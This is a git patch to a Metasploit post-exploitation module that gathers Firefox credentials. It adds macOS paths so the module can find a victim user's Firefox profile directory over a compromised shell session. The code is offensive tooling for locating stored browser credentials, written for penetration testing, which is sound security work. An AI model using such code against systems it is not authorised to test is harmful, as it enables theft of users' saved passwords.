From 8a158c3a0037ec35a8477734fc0ffdfd2e1b9452 Mon Sep 17 00:00:00 2001 From: Gregory Man Date: Fri, 24 Feb 2012 16:44:42 +0200 Subject: [PATCH] Added OSX support to post/multi/gather/firefox_creds Tested on OSX 10.7.3 and FF 9.0.1 --- modules/post/multi/gather/firefox_creds.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 254cf60d70..46a518440e 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -97,7 +97,11 @@ class Metasploit3 < Msf::Post else print_status("We do not have root privileges") print_status("Checking #{id} account for Firefox") - firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n") + if @platform == :osx + firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n") + else + firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n") + end firefox.each_line do |profile| profile.chomp! @@ -105,7 +109,11 @@ class Metasploit3 < Msf::Post if profile =~ /\.default/ print_status("Found Firefox Profile for: #{id}") - return [home + id + "/.mozilla/" + "firefox/" + profile + "/"] + if @platform == :osx + return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"] + else + return [home + id + "/.mozilla/" + "firefox/" + profile + "/"] + end end end return